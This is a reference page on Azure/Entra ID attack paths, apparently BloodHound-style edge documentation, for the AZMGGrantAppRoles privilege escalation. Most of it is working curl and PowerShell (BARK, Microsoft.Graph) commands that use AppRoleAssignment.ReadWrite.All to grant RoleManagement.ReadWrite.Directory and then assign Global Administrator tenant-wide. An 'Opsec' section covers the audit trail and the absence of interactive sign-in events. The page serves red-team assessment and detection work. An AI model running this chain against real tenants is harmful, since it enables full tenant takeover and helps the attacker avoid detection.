AZMGGrantAppRoles
The source service principal holds the MS Graph app role AppRoleAssignment.ReadWrite.All (or equivalent), allowing it to grant any MS Graph application permission to any service principal β enabling full tenant compromise.
Applies to: AZServicePrincipal β AZServicePrincipal (MS Graph)
Linux Abuse
Step 1 β Get client credentials token
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
Step 2 β Get MS Graph service principal object ID
GRAPH_SP_ID=$(curl -s \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '00000003-0000-0000-c000-000000000000'" \
-H "Authorization: Bearer $TOKEN" | jq -r '.value[0].id')
Step 3 β Grant RoleManagement.ReadWrite.Directory to controlled SP
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/appRoleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"principalId\": \"<object-id>\",
\"resourceId\": \"$GRAPH_SP_ID\",
\"appRoleId\": \"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\"
}"
Step 4 β Assign Global Admin to controlled principal
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"principalId": "<object-id>",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"directoryScopeId": "/"
}'
Windows Abuse
BARK β full chain
# Step 1: Get token
$MGToken = Get-MSGraphTokenWithClientCredentials `
-ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
-ClientSecret "asdf..." `
-TenantName "contoso.onmicrosoft.com"
# Step 2: Find MS Graph SP ID
$SPs = Get-MgServicePrincipal -All
$GraphSPId = ($SPs | Where-Object {$_.AppId -eq "00000003-0000-0000-c000-000000000000"}).Id
# Step 3: Grant RoleManagement.ReadWrite.Directory
New-EntraAppRoleAssignment `
-SPObjectId "<object-id>" `
-AppRoleID "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" `
-ResourceID $GraphSPId `
-Token $MGToken.access_token
# Step 4: Assign Global Administrator
New-EntraRoleAssignment `
-PrincipalID "<object-id>" `
-RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `
-Token $MGToken.access_token
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
$GraphSP = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
New-MgServicePrincipalAppRoleAssignment `
-ServicePrincipalId "<object-id>" `
-PrincipalId "<object-id>" `
-ResourceId $GraphSP.Id `
-AppRoleId "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"
$params = @{
principalId = "<object-id>"
roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10"
directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment @params
Key App Role IDs (MS Graph)
| Permission | App Role ID |
|---|---|
| RoleManagement.ReadWrite.Directory | 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 |
| AppRoleAssignment.ReadWrite.All | 06b708a9-e830-4db3-a914-8ddd2cca8d88 |
| Application.ReadWrite.All | 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9 |
| User.ReadWrite.All | 741f803b-c850-494e-b5df-cde7c675a1ca |
| Global Administrator role | 62e90394-69f5-4237-9190-012177145e10 |
Opsec
- Audit event: "Add app role assignment to service principal" β logs actor, target SP, app role granted, timestamp.
- Full chain (grant role β assign GA) creates two distinct audit events.
- This capability is invisible in Azure Portal UI β only visible via audit logs or API queries.
- Token from client_credentials flow does not generate interactive sign-in events.